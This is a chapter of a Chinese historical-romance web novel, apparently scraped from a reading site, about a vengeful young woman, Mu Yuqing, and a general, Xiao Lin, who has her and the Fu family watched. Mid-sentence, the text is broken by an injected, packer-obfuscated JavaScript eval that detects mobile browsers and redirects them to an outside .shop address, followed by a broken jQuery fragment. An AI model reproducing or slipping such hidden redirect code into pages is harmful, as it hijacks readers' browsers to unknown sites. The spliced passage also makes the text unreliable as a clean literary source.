“只可惜今日没能一睹萧公子的风姿,我在扬州那边都听说这位萧公子容貌清隽,俊如美玉,不止许多扬州千金对他芳心暗许,盛京城中钦慕他的娘子也是一抓一大把呢,真好奇他长什么样。”
慕玉青心里暗自回忆了一番,她是见过此人的,只不过林中无甚光线,她瞧不清那人的面容,不过观其体态,模样应该差不到哪里去。
且他点地无声,行步不虚晃半分,武功也差不到哪里去,甚至可能在傅言轩之上。
此人眼里揉不得沙子,手段狠决,如果能得攀结他,得此人相助……她的复仇路会不会好走一些?
一想起那抹将她完全笼罩的黑影,那人似笑非笑的话语就无端盘旋在她耳边“……谁能害到你头上?”
慕玉青欲投靠其人的心思霎时就散了个完全,心中疑云又起,这人为何这么说话?
那人最后说的话,怎么听都像在影射她用针杀人一事,可他暗指的真的只是这件事吗?她与他只见过一面,他有什么必要专门因此事来影射她?
她总觉得这位大人看他的眼神带着一丝不可察明的审视。
自道出她的身份后,他就一副同她很熟络的样子,嘴角挂着笑,却笑得非常假,句句都在试探,句句充满怀疑,句句不离挑衅威胁,就活像她干了什么事,碍了他的路一般。
慕玉青心中谜团不散。
最要命的是,他竟知道她的行踪,知道她刚从傅家回来,这就有些耐人寻味了。
要知道她八岁便离府,对外宣称去了庄子上静养,一个常年不在京中且不打眼的女子,如何值得他处处留意?事情绝不会这么简单,他知道她的行踪,这本就解释不通。
……
将军府内还是一如往年的寂静冷清,扶光小筑内,萧凛此时正修剪着前几日新得来的盆栽,近年来他养了个侍弄花草的爱好。
几株灼灼花苞破叶而出,敛蕊藏春,玲珑含香,在团团娇花翠叶中,更衬得他一双骨节分明的手修长有力。
侍卫在底下禀:“公子。”
“说。”
“罪犯已经带回去了,今天劫狱的那群人均已自尽……一个活口都没有留下。”那侍卫越说声音越小,最后竟是直接将头低下去了。
萧凛执铰剪下多余碍眼的花苞,口中淡道:“手底下人可真多。”
“他还是不肯说?”
“……是,周吕怎么都不招。”
萧凛修剪完,随手拨弄了两下枝叶,才将剪子放回原位,“人没用了,寻个地埋了,消息放出去,再找人往死里跟着,这次再出差错就别回来见我了。”
“是,公子。”
偌大空旷的亭筑内,出现了一位锦衣男子,这人体形修长,眉眼清俊,他见了萧凛,惊道:“我去萧随钧,你真回来了!”
萧凛一如多年地视他不见,转身跪坐在软垫上,继续开口:“”叫阿堇派出亲卫,给我盯紧慕傅两家,还有那位慕家小姐,去查她之前都干过什么,有异动立刻来报。”
“是……是那位慕二娘子吗?”
萧凛给了他一个眼风。
“得令!”他只是确定一下而已,这慕家可不止一位小姐,盯错了可怎么办啊!
当然那侍卫只敢心里大喊,面上仍旧严峻,他深知身为将军府兼从萧家军出来的一员猛将,冷静是必修品质。
锦衣男子径自在萧凛对面坐下,他嘴角压不住,急声问道:“什么时候回来的?”
萧凛持杓舀了一勺茶汤入黑玉盏,“不久前。”
锦衣男子见自己说了这么多话,但好友只吐了三个字,冷淡得很,他幽幽斥:“四年不见,果然感情就淡了。”
萧凛眯了眯眼,笑看他,“姜昀炆,正常点。”说着,他将那盛了茶汤的黑玉盏推向姜昀炆。
姜昀炆接过他亲自煮的茶,也原谅他了。
这些年朝堂之内天翻地覆,随着世族之首翟家一朝倾覆,满门无存,旧日门阀秩序便轰然倒塌,各世家纷纷崛起,只为给自己占个前坑。
其中以宋家,姜家势力最盛,稳居群族之首,余下诸家暗自站队,朝堂上两派主张分歧,派系割裂分明,两家不止暗地里给对方挖坑,明面上也毫不掩饰嫌隙,素来水火不容。
两人浅酌半盏,姜昀炆才笑道:“你是怎么提前知道突厥会反的?这仗赢得实在漂亮。”
萧凛是在北疆打了场胜仗才回京的,他听了手下人探得的线报,料到突厥施部怒极必反,遂在边境提前调遣布局,预布边防,才打得这场耗时最少,损耗最小的雷电战。
姜昀炆暗忖,这次萧凛以摧枯拉朽之势打得突厥溃不成军,兵败如山倒,皇帝不知又会赏赐萧凛些什么好东西了。
姜昀炆又有些不解:“你最近怎么开始对傅家感兴趣了?”
萧凛并不瞒他:“傅家可能有异动。”
姜昀炆皱起眉,“傅家这几年势头确实猛,生意也不局限于粮食生意,那几个沿海大盐厂也是说拿下就拿下了,前几年盐场还不见起色,大家都说傅家的钱要打水漂了,偏偏近几年恰逢海水盈汐,日头灼烈,竟是开始回本了。”
姜昀炆调侃他道:“但你不至于就此眼红吧。”
萧凛道:“这几年傅家野心不小,怕就怕不止为那点利益。”
闻言,姜昀炆嗅出了些政治气味,收起了吊儿郎当,神色认真起来:“你说傅家也要开始站队了?”
“还不确定,防着点好。”
姜昀炆不由若有所思起来。
萧凛叫人上了几碟小菜,萧姜两人自小在军营中相识,并不因相隔多久没见就生分了。
酒足饭饱后,姜昀炆便开始吐槽,“你现在是一身轻松了,现在那宋老头就逮着我咬,竟会给我使绊子!你都不知道,那日他在朝中提议调陈元胥入武选司,那陈元胥可是他的人,谁不知道他安的什么心,这不是明着要在我的地盘安插人手好方便给我添堵吗!”
萧凛作势轻叹了口气,表示了自己的同情,后只哦了一声,没了下文。
姜昀炆直接给了他一拳,“真见死不救啊你。”
萧凛漫不经心理了理左肩被他带起的褶皱,“我都救了你多少回了?这次自己解决吧。”
闻言,姜昀炆五官皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661218|207173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成一团,很是可怜。
萧凛直接给了他个白眼,“下不为例。”
“嘿嘿,就知道你够意思!”
萧凛面不改色,“我要你家那坛龙髓醪。”无视姜昀炆难看的表情,萧凛勾唇一笑,“姜公亲自酿的那坛。”
那可是他父亲的宝贝!姜昀炆就知道他不白干,不过能让宋家安分点,龙髓醪就龙髓醪吧。若他父亲知道是萧凛想喝,出手也定是慷慨的。
一提及酒,姜昀炆又是惆怅起来,“四年前咱都喝不过瘾,这次定不醉不归。”
萧凛俊眉一扬,眉宇间尽是少年人的意气风发,“好说。”
……
车内,慕玉青仍在思索着哪里出了差错,她怎么就被人盯上了,就听马车外的婆子吆喝道:“表小姐,慕宅到咯!”
到盛京慕家了。
慕玉青带上帷帽,在抱酥的搀扶下下了马车。
眼前宅院与离别时仿若云泥之别,慕宅的两扉大门被刷成黑漆素面,比之前阔气了不少,府门外头新立一方水磨青砖一字影壁,壁身素净,上浅刻福纹,比她离开时更显气派了些。
三主仆先后踏上台阶欲进府,门外守着的护院果然拦住了她们的去路。
抱酥上前和气道:“两位大哥,这是我们府中二小姐,前些年都住在庄子上,今年想着月圆节回家看看,但在路上耽误了些时日。”
两仆役你望望我,我望望你,似乎是在疑惑慕家有没有二小姐这号人物。
“你说你是你就是?凭什么信你?”
这世上骗子多的是,万一不小心放进去个刺客,那他吃不了兜着走,一个护院心诽。
抱酥早有准备,她从袖口抽出一张已泛黄的纸张,那是慕玉青离府时让林氏给写的信件,
“这上面有府印,白字黑纸写着二小姐只是暂时在庄上修养,不日可回。”
另一位眼睛生得细长,看着有些轻浮之相的护院接过印信看了看,他又看了眼面前这位月光下的玲珑巧人,他长这么大,还没见过闺阁中的小姐,他布满老茧的粗手摩挲两下满是胡茬子的下巴,“撩开面纱瞧瞧。”
抱酥看了眼他那贼眉鼠眼样儿,怒从中来,不等她出声呵斥,只闻‘噌’地一声,芙儿拔剑出鞘,淡道:“瞧了之后呢,眼珠还要吗。”
“你!……”
两人被这凶神恶煞的持剑女子吓得连连后退两大步。
慕玉青就从他们让出来的空间进了府。
两人还没来得及拦住,芙儿的剑就落到了最前面一人的脖子上,冷冷睨着他,大有他再动分毫就直接抹他脖子的架势,这让他们想拦也不敢拦。
慕有义前几年从五品升至四品官员,如今当了户部的侍郎,虽官位不高,但圣上宅心仁厚,对有上进心的官员都有重赏。
除了赏赐慕家些金银珠宝外,还允其将以前的二进家宅扩充成三进宅院。
跨进慕宅,三主仆朝内院深处步履不停。
抱酥不停打量着慕家的新建筑,口中问道:“小姐,咱们先去拜见老夫人吗?”
“不,直接去后院祠堂。”